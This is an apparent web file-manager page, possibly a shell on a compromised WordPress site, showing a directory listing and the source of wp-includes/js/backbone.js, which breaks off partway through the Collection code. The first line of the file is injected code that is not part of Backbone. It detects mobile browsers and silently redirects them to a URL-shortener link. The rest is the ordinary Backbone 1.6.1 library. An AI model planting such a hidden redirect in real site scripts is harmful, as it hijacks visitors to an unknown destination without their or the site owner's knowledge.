at path:ROOT / wp-includes / js / backbone.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄backbone.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2// Backbone.js 1.6.1
3
4// (c) 2010-2024 Jeremy Ashkenas and DocumentCloud
5// Backbone may be freely distributed under the MIT license.
6// For all details and documentation:
7// http://backbonejs.org
8
9(function(factory) {
10
11 // Establish the root object, `window` (`self`) in the browser, or `global` on the server.
12 // We use `self` instead of `window` for `WebWorker` support.
13 var root = typeof self == 'object' && self.self === self && self ||
14 typeof global == 'object' && global.global === global && global;
15
16 // Set up Backbone appropriately for the environment. Start with AMD.
17 if (typeof define === 'function' && define.amd) {
18 define(['underscore', 'jquery', 'exports'], function(_, $, exports) {
19 // Export global even in AMD case in case this script is loaded with
20 // others that may still expect a global Backbone.
21 root.Backbone = factory(root, exports, _, $);
22 });
23
24 // Next for Node.js or CommonJS. jQuery may not be needed as a module.
25 } else if (typeof exports !== 'undefined') {
26 var _ = require('underscore'), $;
27 try { $ = require('jquery'); } catch (e) {}
28 factory(root, exports, _, $);
29
30 // Finally, as a browser global.
31 } else {
32 root.Backbone = factory(root, {}, root._, root.jQuery || root.Zepto || root.ender || root.$);
33 }
34
35})(function(root, Backbone, _, $) {
36
37 // Initial Setup
38 // -------------
39
40 // Save the previous value of the `Backbone` variable, so that it can be
41 // restored later on, if `noConflict` is used.
42 var previousBackbone = root.Backbone;
43
44 // Create a local reference to a common array method we'll want to use later.
45 var slice = Array.prototype.slice;
46
47 // Current version of the library. Keep in sync with `package.json`.
48 Backbone.VERSION = '1.6.1';
49
50 // For Backbone's purposes, jQuery, Zepto, Ender, or My Library (kidding) owns
51 // the `$` variable.
52 Backbone.$ = $;
53
54 // Runs Backbone.js in *noConflict* mode, returning the `Backbone` variable
55 // to its previous owner. Returns a reference to this Backbone object.
56 Backbone.noConflict = function() {
57 root.Backbone = previousBackbone;
58 return this;
59 };
60
61 // Turn on `emulateHTTP` to support legacy HTTP servers. Setting this option
62 // will fake `"PATCH"`, `"PUT"` and `"DELETE"` requests via the `_method` parameter and
63 // set a `X-Http-Method-Override` header.
64 Backbone.emulateHTTP = false;
65
66 // Turn on `emulateJSON` to support legacy servers that can't deal with direct
67 // `application/json` requests ... this will encode the body as
68 // `application/x-www-form-urlencoded` instead and will send the model in a
69 // form param named `model`.
70 Backbone.emulateJSON = false;
71
72 // Backbone.Events
73 // ---------------
74
75 // A module that can be mixed in to *any object* in order to provide it with
76 // a custom event channel. You may bind a callback to an event with `on` or
77 // remove with `off`; `trigger`-ing an event fires all callbacks in
78 // succession.
79 //
80 // var object = {};
81 // _.extend(object, Backbone.Events);
82 // object.on('expand', function(){ alert('expanded'); });
83 // object.trigger('expand');
84 //
85 var Events = Backbone.Events = {};
86
87 // Regular expression used to split event strings.
88 var eventSplitter = /\s+/;
89
90 // A private global variable to share between listeners and listenees.
91 var _listening;
92
93 // Iterates over the standard `event, callback` (as well as the fancy multiple
94 // space-separated events `"change blur", callback` and jQuery-style event
95 // maps `{event: callback}`).
96 var eventsApi = function(iteratee, events, name, callback, opts) {
97 var i = 0, names;
98 if (name && typeof name === 'object') {
99 // Handle event maps.
100 if (callback !== void 0 && 'context' in opts && opts.context === void 0) opts.context = callback;
101 for (names = _.keys(name); i < names.length ; i++) {
102 events = eventsApi(iteratee, events, names[i], name[names[i]], opts);
103 }
104 } else if (name && eventSplitter.test(name)) {
105 // Handle space-separated event names by delegating them individually.
106 for (names = name.split(eventSplitter); i < names.length; i++) {
107 events = iteratee(events, names[i], callback, opts);
108 }
109 } else {
110 // Finally, standard events.
111 events = iteratee(events, name, callback, opts);
112 }
113 return events;
114 };
115
116 // Bind an event to a `callback` function. Passing `"all"` will bind
117 // the callback to all events fired.
118 Events.on = function(name, callback, context) {
119 this._events = eventsApi(onApi, this._events || {}, name, callback, {
120 context: context,
121 ctx: this,
122 listening: _listening
123 });
124
125 if (_listening) {
126 var listeners = this._listeners || (this._listeners = {});
127 listeners[_listening.id] = _listening;
128 // Allow the listening to use a counter, instead of tracking
129 // callbacks for library interop
130 _listening.interop = false;
131 }
132
133 return this;
134 };
135
136 // Inversion-of-control versions of `on`. Tell *this* object to listen to
137 // an event in another object... keeping track of what it's listening to
138 // for easier unbinding later.
139 Events.listenTo = function(obj, name, callback) {
140 if (!obj) return this;
141 var id = obj._listenId || (obj._listenId = _.uniqueId('l'));
142 var listeningTo = this._listeningTo || (this._listeningTo = {});
143 var listening = _listening = listeningTo[id];
144
145 // This object is not listening to any other events on `obj` yet.
146 // Setup the necessary references to track the listening callbacks.
147 if (!listening) {
148 this._listenId || (this._listenId = _.uniqueId('l'));
149 listening = _listening = listeningTo[id] = new Listening(this, obj);
150 }
151
152 // Bind callbacks on obj.
153 var error = tryCatchOn(obj, name, callback, this);
154 _listening = void 0;
155
156 if (error) throw error;
157 // If the target obj is not Backbone.Events, track events manually.
158 if (listening.interop) listening.on(name, callback);
159
160 return this;
161 };
162
163 // The reducing API that adds a callback to the `events` object.
164 var onApi = function(events, name, callback, options) {
165 if (callback) {
166 var handlers = events[name] || (events[name] = []);
167 var context = options.context, ctx = options.ctx, listening = options.listening;
168 if (listening) listening.count++;
169
170 handlers.push({callback: callback, context: context, ctx: context || ctx, listening: listening});
171 }
172 return events;
173 };
174
175 // An try-catch guarded #on function, to prevent poisoning the global
176 // `_listening` variable.
177 var tryCatchOn = function(obj, name, callback, context) {
178 try {
179 obj.on(name, callback, context);
180 } catch (e) {
181 return e;
182 }
183 };
184
185 // Remove one or many callbacks. If `context` is null, removes all
186 // callbacks with that function. If `callback` is null, removes all
187 // callbacks for the event. If `name` is null, removes all bound
188 // callbacks for all events.
189 Events.off = function(name, callback, context) {
190 if (!this._events) return this;
191 this._events = eventsApi(offApi, this._events, name, callback, {
192 context: context,
193 listeners: this._listeners
194 });
195
196 return this;
197 };
198
199 // Tell this object to stop listening to either specific events ... or
200 // to every object it's currently listening to.
201 Events.stopListening = function(obj, name, callback) {
202 var listeningTo = this._listeningTo;
203 if (!listeningTo) return this;
204
205 var ids = obj ? [obj._listenId] : _.keys(listeningTo);
206 for (var i = 0; i < ids.length; i++) {
207 var listening = listeningTo[ids[i]];
208
209 // If listening doesn't exist, this object is not currently
210 // listening to obj. Break out early.
211 if (!listening) break;
212
213 listening.obj.off(name, callback, this);
214 if (listening.interop) listening.off(name, callback);
215 }
216 if (_.isEmpty(listeningTo)) this._listeningTo = void 0;
217
218 return this;
219 };
220
221 // The reducing API that removes a callback from the `events` object.
222 var offApi = function(events, name, callback, options) {
223 if (!events) return;
224
225 var context = options.context, listeners = options.listeners;
226 var i = 0, names;
227
228 // Delete all event listeners and "drop" events.
229 if (!name && !context && !callback) {
230 for (names = _.keys(listeners); i < names.length; i++) {
231 listeners[names[i]].cleanup();
232 }
233 return;
234 }
235
236 names = name ? [name] : _.keys(events);
237 for (; i < names.length; i++) {
238 name = names[i];
239 var handlers = events[name];
240
241 // Bail out if there are no events stored.
242 if (!handlers) break;
243
244 // Find any remaining events.
245 var remaining = [];
246 for (var j = 0; j < handlers.length; j++) {
247 var handler = handlers[j];
248 if (
249 callback && callback !== handler.callback &&
250 callback !== handler.callback._callback ||
251 context && context !== handler.context
252 ) {
253 remaining.push(handler);
254 } else {
255 var listening = handler.listening;
256 if (listening) listening.off(name, callback);
257 }
258 }
259
260 // Replace events if there are any remaining. Otherwise, clean up.
261 if (remaining.length) {
262 events[name] = remaining;
263 } else {
264 delete events[name];
265 }
266 }
267
268 return events;
269 };
270
271 // Bind an event to only be triggered a single time. After the first time
272 // the callback is invoked, its listener will be removed. If multiple events
273 // are passed in using the space-separated syntax, the handler will fire
274 // once for each event, not once for a combination of all events.
275 Events.once = function(name, callback, context) {
276 // Map the event into a `{event: once}` object.
277 var events = eventsApi(onceMap, {}, name, callback, this.off.bind(this));
278 if (typeof name === 'string' && context == null) callback = void 0;
279 return this.on(events, callback, context);
280 };
281
282 // Inversion-of-control versions of `once`.
283 Events.listenToOnce = function(obj, name, callback) {
284 // Map the event into a `{event: once}` object.
285 var events = eventsApi(onceMap, {}, name, callback, this.stopListening.bind(this, obj));
286 return this.listenTo(obj, events);
287 };
288
289 // Reduces the event callbacks into a map of `{event: onceWrapper}`.
290 // `offer` unbinds the `onceWrapper` after it has been called.
291 var onceMap = function(map, name, callback, offer) {
292 if (callback) {
293 var once = map[name] = _.once(function() {
294 offer(name, once);
295 callback.apply(this, arguments);
296 });
297 once._callback = callback;
298 }
299 return map;
300 };
301
302 // Trigger one or many events, firing all bound callbacks. Callbacks are
303 // passed the same arguments as `trigger` is, apart from the event name
304 // (unless you're listening on `"all"`, which will cause your callback to
305 // receive the true name of the event as the first argument).
306 Events.trigger = function(name) {
307 if (!this._events) return this;
308
309 var length = Math.max(0, arguments.length - 1);
310 var args = Array(length);
311 for (var i = 0; i < length; i++) args[i] = arguments[i + 1];
312
313 eventsApi(triggerApi, this._events, name, void 0, args);
314 return this;
315 };
316
317 // Handles triggering the appropriate event callbacks.
318 var triggerApi = function(objEvents, name, callback, args) {
319 if (objEvents) {
320 var events = objEvents[name];
321 var allEvents = objEvents.all;
322 if (events && allEvents) allEvents = allEvents.slice();
323 if (events) triggerEvents(events, args);
324 if (allEvents) triggerEvents(allEvents, [name].concat(args));
325 }
326 return objEvents;
327 };
328
329 // A difficult-to-believe, but optimized internal dispatch function for
330 // triggering events. Tries to keep the usual cases speedy (most internal
331 // Backbone events have 3 arguments).
332 var triggerEvents = function(events, args) {
333 var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2];
334 switch (args.length) {
335 case 0: while (++i < l) (ev = events[i]).callback.call(ev.ctx); return;
336 case 1: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1); return;
337 case 2: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2); return;
338 case 3: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); return;
339 default: while (++i < l) (ev = events[i]).callback.apply(ev.ctx, args); return;
340 }
341 };
342
343 // A listening class that tracks and cleans up memory bindings
344 // when all callbacks have been offed.
345 var Listening = function(listener, obj) {
346 this.id = listener._listenId;
347 this.listener = listener;
348 this.obj = obj;
349 this.interop = true;
350 this.count = 0;
351 this._events = void 0;
352 };
353
354 Listening.prototype.on = Events.on;
355
356 // Offs a callback (or several).
357 // Uses an optimized counter if the listenee uses Backbone.Events.
358 // Otherwise, falls back to manual tracking to support events
359 // library interop.
360 Listening.prototype.off = function(name, callback) {
361 var cleanup;
362 if (this.interop) {
363 this._events = eventsApi(offApi, this._events, name, callback, {
364 context: void 0,
365 listeners: void 0
366 });
367 cleanup = !this._events;
368 } else {
369 this.count--;
370 cleanup = this.count === 0;
371 }
372 if (cleanup) this.cleanup();
373 };
374
375 // Cleans up memory bindings between the listener and the listenee.
376 Listening.prototype.cleanup = function() {
377 delete this.listener._listeningTo[this.obj._listenId];
378 if (!this.interop) delete this.obj._listeners[this.id];
379 };
380
381 // Aliases for backwards compatibility.
382 Events.bind = Events.on;
383 Events.unbind = Events.off;
384
385 // Allow the `Backbone` object to serve as a global event bus, for folks who
386 // want global "pubsub" in a convenient place.
387 _.extend(Backbone, Events);
388
389 // Backbone.Model
390 // --------------
391
392 // Backbone **Models** are the basic data object in the framework --
393 // frequently representing a row in a table in a database on your server.
394 // A discrete chunk of data and a bunch of useful, related methods for
395 // performing computations and transformations on that data.
396
397 // Create a new model with the specified attributes. A client id (`cid`)
398 // is automatically generated and assigned for you.
399 var Model = Backbone.Model = function(attributes, options) {
400 var attrs = attributes || {};
401 options || (options = {});
402 this.preinitialize.apply(this, arguments);
403 this.cid = _.uniqueId(this.cidPrefix);
404 this.attributes = {};
405 if (options.collection) this.collection = options.collection;
406 if (options.parse) attrs = this.parse(attrs, options) || {};
407 var defaults = _.result(this, 'defaults');
408
409 // Just _.defaults would work fine, but the additional _.extends
410 // is in there for historical reasons. See #3843.
411 attrs = _.defaults(_.extend({}, defaults, attrs), defaults);
412
413 this.set(attrs, options);
414 this.changed = {};
415 this.initialize.apply(this, arguments);
416 };
417
418 // Attach all inheritable methods to the Model prototype.
419 _.extend(Model.prototype, Events, {
420
421 // A hash of attributes whose current and previous value differ.
422 changed: null,
423
424 // The value returned during the last failed validation.
425 validationError: null,
426
427 // The default name for the JSON `id` attribute is `"id"`. MongoDB and
428 // CouchDB users may want to set this to `"_id"`.
429 idAttribute: 'id',
430
431 // The prefix is used to create the client id which is used to identify models locally.
432 // You may want to override this if you're experiencing name clashes with model ids.
433 cidPrefix: 'c',
434
435 // preinitialize is an empty function by default. You can override it with a function
436 // or object. preinitialize will run before any instantiation logic is run in the Model.
437 preinitialize: function(){},
438
439 // Initialize is an empty function by default. Override it with your own
440 // initialization logic.
441 initialize: function(){},
442
443 // Return a copy of the model's `attributes` object.
444 toJSON: function(options) {
445 return _.clone(this.attributes);
446 },
447
448 // Proxy `Backbone.sync` by default -- but override this if you need
449 // custom syncing semantics for *this* particular model.
450 sync: function() {
451 return Backbone.sync.apply(this, arguments);
452 },
453
454 // Get the value of an attribute.
455 get: function(attr) {
456 return this.attributes[attr];
457 },
458
459 // Get the HTML-escaped value of an attribute.
460 escape: function(attr) {
461 return _.escape(this.get(attr));
462 },
463
464 // Returns `true` if the attribute contains a value that is not null
465 // or undefined.
466 has: function(attr) {
467 return this.get(attr) != null;
468 },
469
470 // Special-cased proxy to underscore's `_.matches` method.
471 matches: function(attrs) {
472 return !!_.iteratee(attrs, this)(this.attributes);
473 },
474
475 // Set a hash of model attributes on the object, firing `"change"`. This is
476 // the core primitive operation of a model, updating the data and notifying
477 // anyone who needs to know about the change in state. The heart of the beast.
478 set: function(key, val, options) {
479 if (key == null) return this;
480
481 // Handle both `"key", value` and `{key: value}` -style arguments.
482 var attrs;
483 if (typeof key === 'object') {
484 attrs = key;
485 options = val;
486 } else {
487 (attrs = {})[key] = val;
488 }
489
490 options || (options = {});
491
492 // Run validation.
493 if (!this._validate(attrs, options)) return false;
494
495 // Extract attributes and options.
496 var unset = options.unset;
497 var silent = options.silent;
498 var changes = [];
499 var changing = this._changing;
500 this._changing = true;
501
502 if (!changing) {
503 this._previousAttributes = _.clone(this.attributes);
504 this.changed = {};
505 }
506
507 var current = this.attributes;
508 var changed = this.changed;
509 var prev = this._previousAttributes;
510
511 // For each `set` attribute, update or delete the current value.
512 for (var attr in attrs) {
513 val = attrs[attr];
514 if (!_.isEqual(current[attr], val)) changes.push(attr);
515 if (!_.isEqual(prev[attr], val)) {
516 changed[attr] = val;
517 } else {
518 delete changed[attr];
519 }
520 unset ? delete current[attr] : current[attr] = val;
521 }
522
523 // Update the `id`.
524 if (this.idAttribute in attrs) {
525 var prevId = this.id;
526 this.id = this.get(this.idAttribute);
527 if (this.id !== prevId) {
528 this.trigger('changeId', this, prevId, options);
529 }
530 }
531
532 // Trigger all relevant attribute changes.
533 if (!silent) {
534 if (changes.length) this._pending = options;
535 for (var i = 0; i < changes.length; i++) {
536 this.trigger('change:' + changes[i], this, current[changes[i]], options);
537 }
538 }
539
540 // You might be wondering why there's a `while` loop here. Changes can
541 // be recursively nested within `"change"` events.
542 if (changing) return this;
543 if (!silent) {
544 while (this._pending) {
545 options = this._pending;
546 this._pending = false;
547 this.trigger('change', this, options);
548 }
549 }
550 this._pending = false;
551 this._changing = false;
552 return this;
553 },
554
555 // Remove an attribute from the model, firing `"change"`. `unset` is a noop
556 // if the attribute doesn't exist.
557 unset: function(attr, options) {
558 return this.set(attr, void 0, _.extend({}, options, {unset: true}));
559 },
560
561 // Clear all attributes on the model, firing `"change"`.
562 clear: function(options) {
563 var attrs = {};
564 for (var key in this.attributes) attrs[key] = void 0;
565 return this.set(attrs, _.extend({}, options, {unset: true}));
566 },
567
568 // Determine if the model has changed since the last `"change"` event.
569 // If you specify an attribute name, determine if that attribute has changed.
570 hasChanged: function(attr) {
571 if (attr == null) return !_.isEmpty(this.changed);
572 return _.has(this.changed, attr);
573 },
574
575 // Return an object containing all the attributes that have changed, or
576 // false if there are no changed attributes. Useful for determining what
577 // parts of a view need to be updated and/or what attributes need to be
578 // persisted to the server. Unset attributes will be set to undefined.
579 // You can also pass an attributes object to diff against the model,
580 // determining if there *would be* a change.
581 changedAttributes: function(diff) {
582 if (!diff) return this.hasChanged() ? _.clone(this.changed) : false;
583 var old = this._changing ? this._previousAttributes : this.attributes;
584 var changed = {};
585 var hasChanged;
586 for (var attr in diff) {
587 var val = diff[attr];
588 if (_.isEqual(old[attr], val)) continue;
589 changed[attr] = val;
590 hasChanged = true;
591 }
592 return hasChanged ? changed : false;
593 },
594
595 // Get the previous value of an attribute, recorded at the time the last
596 // `"change"` event was fired.
597 previous: function(attr) {
598 if (attr == null || !this._previousAttributes) return null;
599 return this._previousAttributes[attr];
600 },
601
602 // Get all of the attributes of the model at the time of the previous
603 // `"change"` event.
604 previousAttributes: function() {
605 return _.clone(this._previousAttributes);
606 },
607
608 // Fetch the model from the server, merging the response with the model's
609 // local attributes. Any changed attributes will trigger a "change" event.
610 fetch: function(options) {
611 options = _.extend({parse: true}, options);
612 var model = this;
613 var success = options.success;
614 options.success = function(resp) {
615 var serverAttrs = options.parse ? model.parse(resp, options) : resp;
616 if (!model.set(serverAttrs, options)) return false;
617 if (success) success.call(options.context, model, resp, options);
618 model.trigger('sync', model, resp, options);
619 };
620 wrapError(this, options);
621 return this.sync('read', this, options);
622 },
623
624 // Set a hash of model attributes, and sync the model to the server.
625 // If the server returns an attributes hash that differs, the model's
626 // state will be `set` again.
627 save: function(key, val, options) {
628 // Handle both `"key", value` and `{key: value}` -style arguments.
629 var attrs;
630 if (key == null || typeof key === 'object') {
631 attrs = key;
632 options = val;
633 } else {
634 (attrs = {})[key] = val;
635 }
636
637 options = _.extend({validate: true, parse: true}, options);
638 var wait = options.wait;
639
640 // If we're not waiting and attributes exist, save acts as
641 // `set(attr).save(null, opts)` with validation. Otherwise, check if
642 // the model will be valid when the attributes, if any, are set.
643 if (attrs && !wait) {
644 if (!this.set(attrs, options)) return false;
645 } else if (!this._validate(attrs, options)) {
646 return false;
647 }
648
649 // After a successful server-side save, the client is (optionally)
650 // updated with the server-side state.
651 var model = this;
652 var success = options.success;
653 var attributes = this.attributes;
654 options.success = function(resp) {
655 // Ensure attributes are restored during synchronous saves.
656 model.attributes = attributes;
657 var serverAttrs = options.parse ? model.parse(resp, options) : resp;
658 if (wait) serverAttrs = _.extend({}, attrs, serverAttrs);
659 if (serverAttrs && !model.set(serverAttrs, options)) return false;
660 if (success) success.call(options.context, model, resp, options);
661 model.trigger('sync', model, resp, options);
662 };
663 wrapError(this, options);
664
665 // Set temporary attributes if `{wait: true}` to properly find new ids.
666 if (attrs && wait) this.attributes = _.extend({}, attributes, attrs);
667
668 var method = this.isNew() ? 'create' : options.patch ? 'patch' : 'update';
669 if (method === 'patch' && !options.attrs) options.attrs = attrs;
670 var xhr = this.sync(method, this, options);
671
672 // Restore attributes.
673 this.attributes = attributes;
674
675 return xhr;
676 },
677
678 // Destroy this model on the server if it was already persisted.
679 // Optimistically removes the model from its collection, if it has one.
680 // If `wait: true` is passed, waits for the server to respond before removal.
681 destroy: function(options) {
682 options = options ? _.clone(options) : {};
683 var model = this;
684 var success = options.success;
685 var wait = options.wait;
686
687 var destroy = function() {
688 model.stopListening();
689 model.trigger('destroy', model, model.collection, options);
690 };
691
692 options.success = function(resp) {
693 if (wait) destroy();
694 if (success) success.call(options.context, model, resp, options);
695 if (!model.isNew()) model.trigger('sync', model, resp, options);
696 };
697
698 var xhr = false;
699 if (this.isNew()) {
700 _.defer(options.success);
701 } else {
702 wrapError(this, options);
703 xhr = this.sync('delete', this, options);
704 }
705 if (!wait) destroy();
706 return xhr;
707 },
708
709 // Default URL for the model's representation on the server -- if you're
710 // using Backbone's restful methods, override this to change the endpoint
711 // that will be called.
712 url: function() {
713 var base =
714 _.result(this, 'urlRoot') ||
715 _.result(this.collection, 'url') ||
716 urlError();
717 if (this.isNew()) return base;
718 var id = this.get(this.idAttribute);
719 return base.replace(/[^\/]$/, '$&/') + encodeURIComponent(id);
720 },
721
722 // **parse** converts a response into the hash of attributes to be `set` on
723 // the model. The default implementation is just to pass the response along.
724 parse: function(resp, options) {
725 return resp;
726 },
727
728 // Create a new model with identical attributes to this one.
729 clone: function() {
730 return new this.constructor(this.attributes);
731 },
732
733 // A model is new if it has never been saved to the server, and lacks an id.
734 isNew: function() {
735 return !this.has(this.idAttribute);
736 },
737
738 // Check if the model is currently in a valid state.
739 isValid: function(options) {
740 return this._validate({}, _.extend({}, options, {validate: true}));
741 },
742
743 // Run validation against the next complete set of model attributes,
744 // returning `true` if all is well. Otherwise, fire an `"invalid"` event.
745 _validate: function(attrs, options) {
746 if (!options.validate || !this.validate) return true;
747 attrs = _.extend({}, this.attributes, attrs);
748 var error = this.validationError = this.validate(attrs, options) || null;
749 if (!error) return true;
750 this.trigger('invalid', this, error, _.extend(options, {validationError: error}));
751 return false;
752 }
753
754 });
755
756 // Backbone.Collection
757 // -------------------
758
759 // If models tend to represent a single row of data, a Backbone Collection is
760 // more analogous to a table full of data ... or a small slice or page of that
761 // table, or a collection of rows that belong together for a particular reason
762 // -- all of the messages in this particular folder, all of the documents
763 // belonging to this particular author, and so on. Collections maintain
764 // indexes of their models, both in order, and for lookup by `id`.
765
766 // Create a new **Collection**, perhaps to contain a specific type of `model`.
767 // If a `comparator` is specified, the Collection will maintain
768 // its models in sort order, as they're added and removed.
769 var Collection = Backbone.Collection = function(models, options) {
770 options || (options = {});
771 this.preinitialize.apply(this, arguments);
772 if (options.model) this.model = options.model;
773 if (options.comparator !== void 0) this.comparator = options.comparator;
774 this._reset();
775 this.initialize.apply(this, arguments);
776 if (models) this.reset(models, _.extend({silent: true}, options));
777 };
778
779 // Default options for `Collection#set`.
780 var setOptions = {add: true, remove: true, merge: true};
781 var addOptions = {add: true, remove: false};
782
783 // Splices `insert` into `array` at index `at`.
784 var splice = function(array, insert, at) {
785 at = Math.min(Math.max(at, 0), array.length);
786 var tail = Array(array.length - at);
787 var length = insert.length;
788 var i;
789 for (i = 0; i < tail.length; i++) tail[i] = array[i + at];
790 for (i = 0; i < length; i++) array[i + at] = insert[i];
791 for (i = 0; i < tail.length; i++) array[i + length + at] = tail[i];
792 };
793
794 // Define the Collection's inheritable methods.
795 _.extend(Collection.prototype, Events, {
796
797 // The default model for a collection is just a **Backbone.Model**.
798 // This should be overridden in most cases.
799 model: Model,
800
801
802 // preinitialize is an empty function by default. You can override it with a function
803 // or object. preinitialize will run before any instantiation logic is run in the Collection.
804 preinitialize: function(){},
805
806 // Initialize is an empty function by default. Override it with your own
807 // initialization logic.
808 initialize: function(){},
809
810 // The JSON representation of a Collection is an array of the
811 // models' attributes.
812 toJSON: function(options) {
813 return this.map(function(model) { return model.toJSON(options); });
814 },
815
816 // Proxy `Backbone.sync` by default.
817 sync: function() {
818 return Backbone.sync.apply(this, arguments);
819 },
820
821 // Add a model, or list of models to the set. `models` may be Backbone
822 // Models or raw JavaScript objects to be converted to Models, or any
823 // combination of the two.
824 add: function(models, options) {
825 return this.set(models, _.extend({merge: false}, options, addOptions));
826 },
827
828 // Remove a model, or a list of models from the set.
829 remove: function(models, options) {
830 options = _.extend({}, options);
831 var singular = !_.isArray(models);
832 models = singular ? [models] : models.slice();
833 var removed = this._removeModels(models, options);
834 if (!options.silent && removed.length) {
835 options.changes = {added: [], merged: [], removed: removed};
836 this.trigger('update', this, options);
837 }
838 return singular ? removed[0] : removed;
839 },
840
841 // Update a collection by `set`-ing a new list of models, adding new ones,
842 // removing models that are no longer present, and merging models that
843 // already exist in the collection, as necessary. Similar to **Model#set**,
844 // the core operation for updating the data contained by the collection.
845 set: function(models, options) {
846 if (models == null) return;
847
848 options = _.extend({}, setOptions, options);
849 if (options.parse && !this._isModel(models)) {
850 models = this.parse(models, options) || [];
851 }
852
853 var singular = !_.isArray(models);
854 models = singular ? [models] : models.slice();
855
856 var at = options.at;
857 if (at != null) at = +at;
858 if (at > this.length) at = this.length;
